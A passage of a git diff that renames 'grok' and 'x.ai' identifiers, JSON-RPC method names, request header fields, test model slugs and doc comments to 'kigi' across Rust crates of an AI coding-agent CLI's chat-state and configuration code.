         assert!(args.no_leader, "--no-leader must be preserved");
@@ -1888,7 +1888,7 @@ mod tests {
     #[test]
     fn dashboard_subcommand_errors_when_disabled() {
         unsafe { std::env::set_var("KIGI_AGENT_DASHBOARD", "0") };
-        let mut args = PagerArgs::try_parse_from(["grok", "dashboard"]).unwrap();
+        let mut args = PagerArgs::try_parse_from(["kigi", "dashboard"]).unwrap();
         let result = flag_dashboard_at_startup_if_requested(&mut args);
         unsafe { std::env::remove_var("KIGI_AGENT_DASHBOARD") };
         let err = result.expect_err("disabled dashboard must error");
@@ -1958,7 +1958,7 @@ mod tests {
             &state,
         );
         cache_outgoing_acp_state(
-            r#"{"jsonrpc":"2.0","id":3,"method":"_x.ai/session/close","params":{"sessionId":"s1"}}"#,
+            r#"{"jsonrpc":"2.0","id":3,"method":"_kigi/session/close","params":{"sessionId":"s1"}}"#,
             &state,
         );
         let s = state.lock().unwrap();
@@ -2216,7 +2216,7 @@ mod tests {
             let _init = leader_rx.recv().await.unwrap();
             response_tx
                 .send(
-                    r#"{"jsonrpc":"2.0","method":"x.ai/leader/version_mismatch","params":{}}"#
+                    r#"{"jsonrpc":"2.0","method":"kigi/leader/version_mismatch","params":{}}"#
                         .to_string(),
                 )
                 .unwrap();
@@ -2262,7 +2262,7 @@ mod tests {
     }
     /// A `session/load` rejected by the new leader (error response) must
     /// surface as a failed replay (`None`) so the bridge emits
-    /// `x.ai/leader_reconnected` with empty params and the external client
+    /// `kigi/leader_reconnected` with empty params and the external client
     /// knows to re-establish state itself.
     #[tokio::test]
     async fn replay_returns_none_when_load_is_rejected() {
diff --git a/crates/codegen/kigi-chat-state/src/actor/mutations.rs b/crates/codegen/kigi-chat-state/src/actor/mutations.rs
index 2be0095..8c422da 100644
--- a/crates/codegen/kigi-chat-state/src/actor/mutations.rs
+++ b/crates/codegen/kigi-chat-state/src/actor/mutations.rs
@@ -77,7 +77,7 @@ impl ChatStateActor {
         });
     }
 
-    /// Out-of-band history repair (`x.ai/session/repair`): run
+    /// Out-of-band history repair (`kigi/session/repair`): run
     /// [`crate::compaction_utils::repair_history`] and persist changes via
     /// [`Self::replace_conversation`]. Unlike
     /// [`Self::ensure_conversation_integrity`], this also removes orphaned
diff --git a/crates/codegen/kigi-chat-state/src/actor/request_builder.rs b/crates/codegen/kigi-chat-state/src/actor/request_builder.rs
index ebf6cf2..4f18478 100644
--- a/crates/codegen/kigi-chat-state/src/actor/request_builder.rs
+++ b/crates/codegen/kigi-chat-state/src/actor/request_builder.rs
@@ -134,13 +134,13 @@ impl ChatStateActor {
             temperature: self.state.sampling_config.temperature,
             max_output_tokens: self.state.sampling_config.max_completion_tokens,
             top_p: self.state.sampling_config.top_p,
-            x_grok_conv_id: Some(conv_id),
-            x_grok_req_id: Some(req_id),
-            x_grok_session_id: None,
-            x_grok_turn_idx: None,
-            x_grok_agent_id: None,
-            x_grok_deployment_id: None,
-            x_grok_user_id: None,
+            x_kigi_conv_id: Some(conv_id),
+            x_kigi_req_id: Some(req_id),
+            x_kigi_session_id: None,
+            x_kigi_turn_idx: None,
+            x_kigi_agent_id: None,
+            x_kigi_deployment_id: None,
+            x_kigi_user_id: None,
             trace,
             reasoning_effort: self.state.sampling_config.reasoning_effort,
             json_schema: None,
diff --git a/crates/codegen/kigi-chat-state/src/actor/state.rs b/crates/codegen/kigi-chat-state/src/actor/state.rs
index e4ca873..4d364c0 100644
--- a/crates/codegen/kigi-chat-state/src/actor/state.rs
+++ b/crates/codegen/kigi-chat-state/src/actor/state.rs
@@ -84,13 +84,13 @@ pub fn estimate_conversation_tokens(items: &[ConversationItem]) -> u64 {
     items.iter().map(estimate_item_tokens).sum()
 }
 
-/// grok-build's [`ItemTokenCounter`](kigi_compaction::ItemTokenCounter)
-/// for the shared compaction engine: the bytes/4 estimate grok-build already
+/// kigi's [`ItemTokenCounter`](kigi_compaction::ItemTokenCounter)
+/// for the shared compaction engine: the bytes/4 estimate kigi already
 /// uses to drive its compaction triggers, exposed through the seam so the
 /// shared budgeting math gets the *same* trusted count.
 ///
 /// Where another host plugs a real BPE tokenizer into the same seam,
-/// grok-build estimates instead, reusing [`estimate_item_tokens`] so the
+/// kigi estimates instead, reusing [`estimate_item_tokens`] so the
 /// per-variant arithmetic (images, reasoning blobs, tool-call args) stays in
 /// one place.
 pub struct EstimatedItemTokenCounter;
diff --git a/crates/codegen/kigi-chat-state/src/actor/tests.rs b/crates/codegen/kigi-chat-state/src/actor/tests.rs
index e0994e2..c625b13 100644
--- a/crates/codegen/kigi-chat-state/src/actor/tests.rs
+++ b/crates/codegen/kigi-chat-state/src/actor/tests.rs
@@ -908,7 +908,7 @@ async fn update_sampling_config_is_queryable() {
     let h = TestHarness::new();
     let new_config = SamplingConfig {
         base_url: "https://new.example.com".to_string(),
-        model: "grok-3".to_string(),
+        model: "kigi-3".to_string(),
         max_completion_tokens: Some(4096),
         temperature: Some(0.5),
         top_p: None,
@@ -921,7 +921,7 @@ async fn update_sampling_config_is_queryable() {
     h.handle.update_sampling_config(new_config.clone());
 
     let config = h.handle.get_sampling_config().await.unwrap();
-    assert_eq!(config.model, "grok-3");
+    assert_eq!(config.model, "kigi-3");
     assert_eq!(config.context_window, NonZeroU64::new(200_000).unwrap());
 }
 
@@ -1155,8 +1155,8 @@ async fn build_request_includes_all_messages() {
         .await
         .unwrap();
     assert_eq!(request.items.len(), 2);
-    assert_eq!(request.x_grok_conv_id, Some("conv-1".to_string()));
-    assert_eq!(request.x_grok_req_id, Some("req-1".to_string()));
+    assert_eq!(request.x_kigi_conv_id, Some("conv-1".to_string()));
+    assert_eq!(request.x_kigi_req_id, Some("req-1".to_string()));
 }
 
 #[tokio::test]
@@ -1293,7 +1293,7 @@ async fn build_request_with_tool_definitions() {
 async fn build_request_uses_sampling_config() {
     let config = SamplingConfig {
         base_url: "https://api.example.com".to_string(),
-        model: "grok-3".to_string(),
+        model: "kigi-3".to_string(),
         max_completion_tokens: Some(8192),
         temperature: Some(0.7),
         top_p: Some(0.9),
@@ -1311,7 +1311,7 @@ async fn build_request_uses_sampling_config() {
         .await
         .unwrap();
 
-    assert_eq!(request.model, Some("grok-3".to_string()));
+    assert_eq!(request.model, Some("kigi-3".to_string()));
     assert_eq!(request.temperature, Some(0.7));
     assert_eq!(request.max_output_tokens, Some(8192));
     assert_eq!(request.top_p, Some(0.9));
@@ -1484,7 +1484,7 @@ async fn parallel_tool_calls_accept_first_reject_second_skip_third() {
                 arguments: r#"{"command":"cargo test"}"#.into(),
             },
         ],
-        model_id: Some("grok-3".to_string()),
+        model_id: Some("kigi-3".to_string()),
         model_fingerprint: None,
         reasoning_effort: None,
     });
@@ -1770,7 +1770,7 @@ async fn dangling_tool_calls_after_crash_are_repaired_on_load() {
                     arguments: r#"{"command":"cargo test"}"#.into(),
                 },
             ],
-            model_id: Some("grok-3".to_string()),
+            model_id: Some("kigi-3".to_string()),
             model_fingerprint: None,
             reasoning_effort: None,
         }),
@@ -3365,13 +3365,13 @@ async fn get_last_model_metadata_returns_both_fields() {
         ConversationItem::Assistant(kigi_sampling_types::AssistantItem {
             content: "hello".into(),
             tool_calls: vec![],
-            model_id: Some("grok-4.5".into()),
+            model_id: Some("kigi-4.5".into()),
             model_fingerprint: Some("fp_abc123".into()),
             reasoning_effort: None,
         }),
     ]);
     let meta = h.handle.get_last_model_metadata().await;
-    assert_eq!(meta.resolved_model_id.as_deref(), Some("grok-4.5"));
+    assert_eq!(meta.resolved_model_id.as_deref(), Some("kigi-4.5"));
     assert_eq!(meta.model_fingerprint.as_deref(), Some("fp_abc123"));
 }
 
@@ -3396,7 +3396,7 @@ async fn sampling_config_survives_compaction_replacement() {
 
     let config = SamplingConfig {
         base_url: "https://api.example.com".to_string(),
-        model: "grok-build".to_string(),
+        model: "kigi".to_string(),
         max_completion_tokens: None,
         temperature: Some(0.7),
         top_p: Some(0.95),
@@ -3414,7 +3414,7 @@ async fn sampling_config_survives_compaction_replacement() {
             ConversationItem::Assistant(kigi_sampling_types::AssistantItem {
                 content: "I'll fix it.".into(),
                 tool_calls: vec![],
-                model_id: Some("grok-4.5".into()),
+                model_id: Some("kigi-4.5".into()),
                 model_fingerprint: Some("fp_abc123".into()),
                 reasoning_effort: None,
             }),
@@ -3424,12 +3424,12 @@ async fn sampling_config_survives_compaction_replacement() {
 
     // Pre-compaction: everything correct.
     let pre = h.handle.get_sampling_config().await.unwrap();
-    assert_eq!(pre.model, "grok-build");
+    assert_eq!(pre.model, "kigi");
     assert_eq!(pre.context_window.get(), 500_000);
     assert_eq!(pre.api_backend, ApiBackend::Responses);
 
     let pre_meta = h.handle.get_last_model_metadata().await;
-    assert_eq!(pre_meta.resolved_model_id.as_deref(), Some("grok-4.5"));
+    assert_eq!(pre_meta.resolved_model_id.as_deref(), Some("kigi-4.5"));
     assert_eq!(pre_meta.model_fingerprint.as_deref(), Some("fp_abc123"));
 
     // Simulate compaction: replace conversation with compacted history.
@@ -3441,10 +3441,7 @@ async fn sampling_config_survives_compaction_replacement() {
 
     // Post-compaction: SamplingConfig MUST be preserved.
     let post = h.handle.get_sampling_config().await.unwrap();
-    assert_eq!(
-        post.model, "grok-build",
-        "BUG: model changed after compaction"
-    );
+    assert_eq!(post.model, "kigi", "BUG: model changed after compaction");
     assert_eq!(
         post.context_window.get(),
         500_000,
@@ -3471,7 +3468,7 @@ async fn sampling_config_survives_compaction_replacement() {
 
 /// After compaction, the `build_session_info` display path uses
 /// `get_sampling_config().model` as the source-of-truth model slug.
-/// If that model slug is e.g. "grok-build" and not in the ModelState
+/// If that model slug is e.g. "kigi" and not in the ModelState
 /// catalog with a display name, the pager shows the raw slug. This
 /// test verifies the pager's `current_model_name()` behavior when the
 /// model ID doesn't match any catalog entry.
@@ -3479,7 +3476,7 @@ async fn sampling_config_survives_compaction_replacement() {
 async fn model_metadata_lost_after_compaction_then_recovered_on_next_turn() {
     let config = SamplingConfig {
         base_url: "https://api.example.com".to_string(),
-        model: "grok-build".to_string(),
+        model: "kigi".to_string(),
         max_completion_tokens: None,
         temperature: Some(0.7),
         top_p: Some(0.95),
@@ -3497,7 +3494,7 @@ async fn model_metadata_lost_after_compaction_then_recovered_on_next_turn() {
             ConversationItem::Assistant(kigi_sampling_types::AssistantItem {
                 content: "done".into(),
                 tool_calls: vec![],
-                model_id: Some("grok-4.5".into()),
+                model_id: Some("kigi-4.5".into()),
                 model_fingerprint: Some("fp_acd3142484d3ad6f".into()),
                 reasoning_effort: None,
             }),
@@ -3507,7 +3504,7 @@ async fn model_metadata_lost_after_compaction_then_recovered_on_next_turn() {
 
     // Before compaction: metadata present.
     let meta = h.handle.get_last_model_metadata().await;
-    assert_eq!(meta.resolved_model_id.as_deref(), Some("grok-4.5"));
+    assert_eq!(meta.resolved_model_id.as_deref(), Some("kigi-4.5"));
     assert_eq!(
         meta.model_fingerprint.as_deref(),
         Some("fp_acd3142484d3ad6f")
@@ -3532,7 +3529,7 @@ async fn model_metadata_lost_after_compaction_then_recovered_on_next_turn() {
             kigi_sampling_types::AssistantItem {
                 content: "working on it".into(),
                 tool_calls: vec![],
-                model_id: Some("grok-4.5".into()),
+                model_id: Some("kigi-4.5".into()),
                 model_fingerprint: Some("fp_acd3142484d3ad6f".into()),
                 reasoning_effort: None,
             },
@@ -3540,7 +3537,7 @@ async fn model_metadata_lost_after_compaction_then_recovered_on_next_turn() {
 
     // Metadata recovered.
     let meta = h.handle.get_last_model_metadata().await;
-    assert_eq!(meta.resolved_model_id.as_deref(), Some("grok-4.5"));
+    assert_eq!(meta.resolved_model_id.as_deref(), Some("kigi-4.5"));
     assert_eq!(
         meta.model_fingerprint.as_deref(),
         Some("fp_acd3142484d3ad6f")
@@ -3564,10 +3561,10 @@ async fn model_metadata_lost_after_compaction_then_recovered_on_next_turn() {
 async fn context_window_downgrade_triggers_auto_compact() {
     use kigi_sampling_types::ApiBackend;
 
-    // Initial config: 500k context, Responses backend (matches grok-4.5)
+    // Initial config: 500k context, Responses backend (matches kigi-4.5)
     let config = SamplingConfig {
-        base_url: "https://api.x.ai/v1".to_string(),
-        model: "grok-4.5".to_string(),
+        base_url: "https://byok.example/v1".to_string(),
+        model: "kigi-4.5".to_string(),
         max_completion_tokens: None,
         temperature: Some(0.7),
         top_p: Some(0.95),
@@ -3606,7 +3603,7 @@ async fn context_window_downgrade_triggers_auto_compact() {
         128_000,
         "context_window should be overwritten by update_sampling_config"
     );
-    assert_eq!(post.model, "grok-4.5", "model slug must not change");
+    assert_eq!(post.model, "kigi-4.5", "model slug must not change");
     assert_eq!(
         post.api_backend,
         ApiBackend::Responses,
@@ -3934,7 +3931,7 @@ async fn prefix_stable_after_model_switch() {
         .push_user_message(ConversationItem::user("continue"));
 
     let new_config = SamplingConfig {
-        model: "grok-3-mini".to_string(),
+        model: "kigi-3-mini".to_string(),
         ..test_config()
     };
     h.handle.update_sampling_config(new_config);
@@ -4317,7 +4314,7 @@ async fn prefix_stable_after_session_resume() {
 }
 
 // ============================================================================
-// Out-of-band history repair (x.ai/session/repair)
+// Out-of-band history repair (kigi/session/repair)
 // ============================================================================
 
 /// Bricked-session shape: an orphaned tool result survives load (the eager
diff --git a/crates/codegen/kigi-chat-state/src/commands.rs b/crates/codegen/kigi-chat-state/src/commands.rs
index 78eddf7..c3ea595 100644
--- a/crates/codegen/kigi-chat-state/src/commands.rs
+++ b/crates/codegen/kigi-chat-state/src/commands.rs
@@ -111,7 +111,7 @@ pub enum ChatStateCommand {
         is_compaction: bool,
     },
 
-    /// Out-of-band history repair (`x.ai/session/repair`): run
+    /// Out-of-band history repair (`kigi/session/repair`): run
     /// [`crate::compaction_utils::repair_history`] and persist when changed;
     /// `dry_run` only reports.
     ///
diff --git a/crates/codegen/kigi-chat-state/src/compaction_utils.rs b/crates/codegen/kigi-chat-state/src/compaction_utils.rs
index a8720a8..462d49a 100644
--- a/crates/codegen/kigi-chat-state/src/compaction_utils.rs
+++ b/crates/codegen/kigi-chat-state/src/compaction_utils.rs
@@ -598,7 +598,7 @@ impl CompactionStateContext {
     /// For a sub-agent with
     /// a single real user turn, `recent_messages` is the ENTIRE working
     /// transcript, and keeping it frees almost nothing while re-cueing the
-    /// model to re-read the same files. grok-build retains
+    /// model to re-read the same files. kigi retains
     /// `recent_messages` so the model keeps verbatim tool context.
     pub fn for_compaction(&self) -> Self {
         Self {
@@ -803,17 +803,17 @@ pub struct CompactedHistoryInput<'a> {
     /// summary. `None` means no state reminder is appended.
     pub system_reminder: Option<String>,
     /// When `true`, emit the compaction summary *before* recent messages.
-    /// When `false` (the default), recent messages come first (grok-build
+    /// When `false` (the default), recent messages come first (kigi
     /// ordering).
     pub summary_before_recent: bool,
     /// Pre-built transcript hint appended to the summary (caller builds it via
     /// [`crate::CompactionMode::transcript_hint`] or
     /// [`format_transcript_location`]). `None` to omit. Appended to BOTH the
-    /// carrier and the grok-build summary.
+    /// carrier and the kigi summary.
     pub transcript_hint: Option<String>,
     /// Number of summaries generated so far for this user query, *including*
     /// the one being built. Rendered verbatim into the carrier's
-    /// "Total summaries generated so far …" footer. Ignored by the grok-build
+    /// "Total summaries generated so far …" footer. Ignored by the kigi
     /// (`summary_before_recent == false`) path. Callers that don't track a
     /// counter pass `1`.
     pub summary_count: u64,
@@ -2679,7 +2679,7 @@ actual user question";
                         arguments: r#"{"target_file":"src/lib.rs"}"#.into(),
                     },
                 ],
-                model_id: Some("grok-3".to_string()),
+                model_id: Some("kigi-3".to_string()),
                 model_fingerprint: None,
                 reasoning_effort: None,
             }),
@@ -2712,7 +2712,7 @@ actual user question";
                         arguments: r#"{"command":"cargo test"}"#.into(),
                     },
                 ],
-                model_id: Some("grok-3".to_string()),
+                model_id: Some("kigi-3".to_string()),
                 model_fingerprint: None,
                 reasoning_effort: None,
             }),
@@ -3390,7 +3390,7 @@ The user asked to read main.rs and lib.rs. main.rs prints hello world, lib.rs ha
         assert!(
             kept.iter()
                 .any(|i| matches!(i, ConversationItem::Reasoning(_))),
-            "reasoning must be kept when strip_reasoning = false (Grok backends)"
+            "reasoning must be kept when strip_reasoning = false (Kigi backends)"
         );
         let stripped = prepare_conversation_for_verbatim_summarization(mk(), true);
         assert!(
diff --git a/crates/codegen/kigi-chat-state/src/handle.rs b/crates/codegen/kigi-chat-state/src/handle.rs
index 50fd5e6..5901978 100644
--- a/crates/codegen/kigi-chat-state/src/handle.rs
+++ b/crates/codegen/kigi-chat-state/src/handle.rs
@@ -186,7 +186,7 @@ impl ChatStateHandle {
         });
     }
 
-    /// Out-of-band history repair (`x.ai/session/repair`); see
+    /// Out-of-band history repair (`kigi/session/repair`); see
     /// [`ChatStateCommand::RepairHistory`]. Returns `None` if the actor is
     /// dead, `Some(Err(_))` if a turn was in flight at processing time.
     pub async fn repair_history(
diff --git a/crates/codegen/kigi-chat-state/src/types.rs b/crates/codegen/kigi-chat-state/src/types.rs
index 8b0783f..06e7107 100644
--- a/crates/codegen/kigi-chat-state/src/types.rs
+++ b/crates/codegen/kigi-chat-state/src/types.rs
@@ -216,7 +216,7 @@ mod tests {
             ],
             sampling_config: SamplingConfig {
                 base_url: "https://api.example.com".to_string(),
-                model: "grok-3".to_string(),
+                model: "kigi-3".to_string(),
                 max_completion_tokens: Some(4096),
                 temperature: Some(0.7),
                 top_p: None,
diff --git a/crates/codegen/kigi-config-types/Cargo.toml b/crates/codegen/kigi-config-types/Cargo.toml
index 20fba1c..afbcd0b 100644
--- a/crates/codegen/kigi-config-types/Cargo.toml
+++ b/crates/codegen/kigi-config-types/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-config-types"
 version.workspace = true
 edition.workspace = true
-description = "Leaf configuration value types for the grok CLI, extracted from kigi-shell for dependency inversion."
+description = "Leaf configuration value types for the kigi CLI, extracted from kigi-shell for dependency inversion."
 
 [dependencies]
 agent-client-protocol = { workspace = true }
diff --git a/crates/codegen/kigi-config-types/src/lib.rs b/crates/codegen/kigi-config-types/src/lib.rs
index f6227a8..31b5b90 100644
--- a/crates/codegen/kigi-config-types/src/lib.rs
+++ b/crates/codegen/kigi-config-types/src/lib.rs
@@ -35,7 +35,7 @@ pub struct CampaignOverride {
 #[derive(Debug, Clone, Default, Deserialize, Serialize, PartialEq, Eq)]
 #[serde(default)]
 pub struct DoomLoopRecoverySettings {
-    /// Send the `x-grok-doom-loop-check` header and parse the reported
+    /// Send the `x-kigi-doom-loop-check` header and parse the reported
     /// triggers. `Some(false)` is a kill-switch; absent ⇒ client default (off).
     #[serde(skip_serializing_if = "Option::is_none")]
     pub enabled: Option<bool>,
@@ -284,7 +284,7 @@ pub struct RemoteSettings {
     pub dream_check_interval_secs: Option<u64>,
     #[serde(default)]
     pub writeback_enabled: Option<bool>,
-    /// OAuth2 provider issuer URL (e.g., "https://auth.x.ai"). When present
+    /// OAuth2 provider issuer URL (e.g., "https://auth.kimi.com"). When present
     /// together with `oauth2_client_id`, the client uses OAuth2 authorization code
     /// flow. Controlled via remote settings for gradual rollout.
     #[serde(default)]
@@ -292,11 +292,11 @@ pub struct RemoteSettings {
     /// OAuth2 client_id for the CLI. Paired with `oauth2_issuer`.
     #[serde(default)]
     pub oauth2_client_id: Option<String>,
-    /// When `Some(true)`, enable grok's default OAuth2 (xAI auth.x.ai).
+    /// When `Some(true)`, enable kigi's default OAuth2 (auth.kimi.com).
     /// Enterprise OIDC (user's own IdP via `oidc` config) always wins.
     /// Controlled via remote settings; `--oauth` CLI flag overrides.
     #[serde(default)]
-    pub grok_oauth_enabled: Option<bool>,
+    pub kigi_oauth_enabled: Option<bool>,
     #[serde(default)]
     pub lsp_tools_enabled: Option<bool>,
     /// Folder-trust gate kill-switch / remote default. Gates whether repo-local
@@ -323,7 +323,7 @@ pub struct RemoteSettings {
     /// fallback (per-server config, env, and requirements/managed override it).
     #[serde(default)]
     pub mcp_startup_timeout_secs: Option<u64>,
-    /// remote settings `grok_build_settings.max_mcp_output_bytes` — global default
+    /// remote settings `kigi_settings.max_mcp_output_bytes` — global default
     /// MCP tool-result inline cap (bytes). Overridden by requirements, env,
     /// and `config.toml [mcp] max_output_bytes`. Built-in default 20_000.
     #[serde(default)]
@@ -340,7 +340,7 @@ pub struct RemoteSettings {
     /// Enable/disable the runtime turn-end TodoGate remotely.
     /// Precedence: CLI `--todo-gate` > this field > built-in default (`false`).
     /// The gate ships disabled; set this to `Some(true)` (via the
-    /// `grok_build_settings` remote settings key) to enable it. See
+    /// `kigi_settings` remote settings key) to enable it. See
     /// `session::acp_session::resolve_reminder_policy`.
     #[serde(default)]
     pub todo_gate_enabled: Option<bool>,
@@ -463,7 +463,7 @@ pub struct RemoteSettings {
     #[serde(default)]
     pub tips: Option<Vec<String>>,
     /// When present, controls the non-Git-repo warning at session start.
-    /// Controlled via remote settings (`non_git_warning` in `grok_build_settings`).
+    /// Controlled via remote settings (`non_git_warning` in `kigi_settings`).
     /// Takes precedence over `[features] non_git_warning` in config.toml:
     /// `Some(true)` enables, `Some(false)` acts as a kill-switch, `None` falls back to local config.
     #[serde(default)]
@@ -473,10 +473,10 @@ pub struct RemoteSettings {
     #[serde(default)]
     pub image_description_model: Option<String>,
     /// Server-side pin for the next-prompt suggestion model (tab-autocomplete
-    /// ghost text), from the `grok_build_settings` remote settings flag. Sits below
+    /// ghost text), from the `kigi_settings` remote settings flag. Sits below
     /// env (`KIGI_PROMPT_SUGGESTIONS_MODEL`) and `[models] prompt_suggestion`
     /// in config.toml, above the client hint and the built-in
-    /// `grok-build-0.1` default. The effective model is catalog-guarded: when
+    /// `kigi-0.1` default. The effective model is catalog-guarded: when
     /// it is not in the shell's model catalog the suggestion request is
     /// skipped entirely (never the session model). See
     /// `ModelOverrideConfig::resolve` and `handle_suggest_prompt`.
@@ -570,7 +570,7 @@ pub struct RemoteSettings {
     pub sharing_enabled: Option<bool>,
     /// Voice mode (STT dictation). Client default is **on** when absent.
     /// `Some(false)` is a remote kill switch; `Some(true)` forces on.
-    /// Overridable locally via `KIGI_VOICE_MODE`. Free-tier SuperGrok upsell
+    /// Overridable locally via `KIGI_VOICE_MODE`. Free-tier subscription upsell
     /// is a separate client tier gate.
     #[serde(default)]
     pub voice_mode_enabled: Option<bool>,
@@ -631,7 +631,7 @@ pub struct RemoteSettings {
     pub on_demand_enabled: Option<bool>,
     /// When set to a non-empty URL, the pager's `/usage` command shows a link
     /// to that URL instead of fetching billing data from the backend.
-    /// Server-controlled via the remote settings `grok_build_usage_redirect_url`
+    /// Server-controlled via the remote settings `kigi_usage_redirect_url`
     /// feature flag (target it at personal-team users). `None`/empty keeps the
     /// default behaviour of fetching usage from the backend.
     #[serde(default)]
@@ -643,8 +643,8 @@ pub struct RemoteSettings {
     #[serde(default)]
     pub suggestions_ai_enabled: Option<bool>,
     /// Global auto-compact threshold percent (0-100) from remote settings
-    /// `grok_build_settings`. Per-model override on `ModelInfo`
-    /// (`grok_build_models`) takes precedence; user config and env var
+    /// `kigi_settings`. Per-model override on `ModelInfo`
+    /// (`kigi_models`) takes precedence; user config and env var
     /// further override per the resolver chain.
     #[serde(default)]
     pub auto_compact_threshold_percent: Option<u8>,
@@ -761,15 +761,15 @@ where
 }
 /// A model + the harness whose system prompt / toolset flavor that model must
 /// run against. The pair is the atomic configurable unit because a model is
-/// only guaranteed to work with a compatible harness (cursor vs grok-build).
+/// only guaranteed to work with a compatible harness (cursor vs kigi).
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
 pub struct GoalRoleModel {
-    /// Model id, e.g. "grok-4". Resolved against available models at
+    /// Model id, e.g. "kigi-4". Resolved against available models at
     /// spawn time; unknown/unauthorized ⇒ fail-open to current model.
     pub model: String,
-    /// Harness `agent_type` (e.g. "cursor", "grok-build-plan") whose
+    /// Harness `agent_type` (e.g. "cursor", "kigi-plan") whose
     /// `AgentDefinition` decides the role subagent's harness flavor (system
-    /// prompt + cursor-vs-grok-build toolset), applied REGARDLESS of the
+    /// prompt + cursor-vs-kigi toolset), applied REGARDLESS of the
     /// session/parent agent. Resolved by NAME (project/plugin/builtin lookup,
     /// then re-flavored by the subagent toolset resolver) — NOT via the main
     /// session's env/ACP/strict-harness precedence chain. NOT a subagent type:
@@ -813,18 +813,18 @@ mod tests {
     }
     #[test]
     fn remote_settings_image_description_model_round_trip() {
-        let json = r#"{"image_description_model": "grok-build"}"#;
+        let json = r#"{"image_description_model": "kigi"}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
-        assert_eq!(s.image_description_model.as_deref(), Some("grok-build"));
+        assert_eq!(s.image_description_model.as_deref(), Some("kigi"));
         let out = serde_json::to_string(&s).unwrap();
         let s2: RemoteSettings = serde_json::from_str(&out).unwrap();
         assert_eq!(s2.image_description_model, s.image_description_model);
     }
     #[test]
     fn remote_settings_prompt_suggestion_model_round_trip() {
-        let json = r#"{"prompt_suggestion_model": "grok-build-0.1"}"#;
+        let json = r#"{"prompt_suggestion_model": "kigi-0.1"}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
-        assert_eq!(s.prompt_suggestion_model.as_deref(), Some("grok-build-0.1"));
+        assert_eq!(s.prompt_suggestion_model.as_deref(), Some("kigi-0.1"));
         let out = serde_json::to_string(&s).unwrap();
         let s2: RemoteSettings = serde_json::from_str(&out).unwrap();
         assert_eq!(s2.prompt_suggestion_model, s.prompt_suggestion_model);
@@ -842,12 +842,12 @@ mod tests {
     #[test]
     fn remote_settings_goal_planner_model_round_trip() {
         let json =
-            r#"{"goal_planner_model": {"model": "grok-4", "agent_type": "general-purpose"}}"#;
+            r#"{"goal_planner_model": {"model": "kigi-4", "agent_type": "general-purpose"}}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_planner_model,
             Some(GoalRoleModel {
-                model: "grok-4".to_string(),
+                model: "kigi-4".to_string(),
                 agent_type: "general-purpose".to_string(),
             })
         );
@@ -857,12 +857,12 @@ mod tests {
     }
     #[test]
     fn remote_settings_goal_strategist_model_round_trip() {
-        let json = r#"{"goal_strategist_model": {"model": "grok-4.5", "agent_type": "cursor"}}"#;
+        let json = r#"{"goal_strategist_model": {"model": "kigi-4.5", "agent_type": "cursor"}}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_strategist_model,
             Some(GoalRoleModel {
-                model: "grok-4.5".to_string(),
+                model: "kigi-4.5".to_string(),
                 agent_type: "cursor".to_string(),
             })
         );
@@ -873,19 +873,19 @@ mod tests {
     #[test]
     fn remote_settings_goal_skeptic_models_fully_valid_pool_round_trips() {
         let json = r#"{"goal_skeptic_models": [
-            {"model": "grok-4", "agent_type": "general-purpose"},
-            {"model": "grok-3", "agent_type": "cursor"}
+            {"model": "kigi-4", "agent_type": "general-purpose"},
+            {"model": "kigi-3", "agent_type": "cursor"}
         ]}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_skeptic_models,
             vec![
                 GoalRoleModel {
-                    model: "grok-4".to_string(),
+                    model: "kigi-4".to_string(),
                     agent_type: "general-purpose".to_string(),
                 },
                 GoalRoleModel {
-                    model: "grok-3".to_string(),
+                    model: "kigi-3".to_string(),
                     agent_type: "cursor".to_string(),
                 },
             ]
@@ -897,20 +897,20 @@ mod tests {
     #[test]
     fn remote_settings_goal_skeptic_models_one_bad_item_does_not_poison_pool() {
         let json = r#"{"goal_skeptic_models": [
-            {"model": "grok-4", "agent_type": "general-purpose"},
-            {"model": "grok-broken"},
-            {"model": "grok-3", "agent_type": "cursor"}
+            {"model": "kigi-4", "agent_type": "general-purpose"},
+            {"model": "kigi-broken"},
+            {"model": "kigi-3", "agent_type": "cursor"}
         ]}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_skeptic_models,
             vec![
                 GoalRoleModel {
-                    model: "grok-4".to_string(),
+                    model: "kigi-4".to_string(),
                     agent_type: "general-purpose".to_string(),
                 },
                 GoalRoleModel {
-                    model: "grok-3".to_string(),
+                    model: "kigi-3".to_string(),
                     agent_type: "cursor".to_string(),
                 },
             ]
@@ -957,13 +957,13 @@ mod tests {
     fn remote_settings_goal_skeptic_models_missing_model_entry_dropped() {
         let json = r#"{"goal_skeptic_models": [
             {"agent_type": "general-purpose"},
-            {"model": "grok-3", "agent_type": "cursor"}
+            {"model": "kigi-3", "agent_type": "cursor"}
         ]}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_skeptic_models,
             vec![GoalRoleModel {
-                model: "grok-3".to_string(),
+                model: "kigi-3".to_string(),
                 agent_type: "cursor".to_string(),
             }]
         );
@@ -972,14 +972,14 @@ mod tests {
     fn remote_settings_goal_skeptic_models_wrong_typed_scalar_dropped() {
         let json = r#"{"goal_skeptic_models": [
             {"model": 123, "agent_type": "general-purpose"},
-            {"model": "grok-3", "agent_type": ["cursor"]},
-            {"model": "grok-4", "agent_type": "general-purpose"}
+            {"model": "kigi-3", "agent_type": ["cursor"]},
+            {"model": "kigi-4", "agent_type": "general-purpose"}
         ]}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_skeptic_models,
             vec![GoalRoleModel {
-                model: "grok-4".to_string(),
+                model: "kigi-4".to_string(),
                 agent_type: "general-purpose".to_string(),
             }]
         );
@@ -987,13 +987,13 @@ mod tests {
     #[test]
     fn remote_settings_goal_skeptic_models_extra_unknown_fields_kept() {
         let json = r#"{"goal_skeptic_models": [
-            {"model": "grok-4", "agent_type": "general-purpose", "reasoning_effort": "high"}
+            {"model": "kigi-4", "agent_type": "general-purpose", "reasoning_effort": "high"}
         ]}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
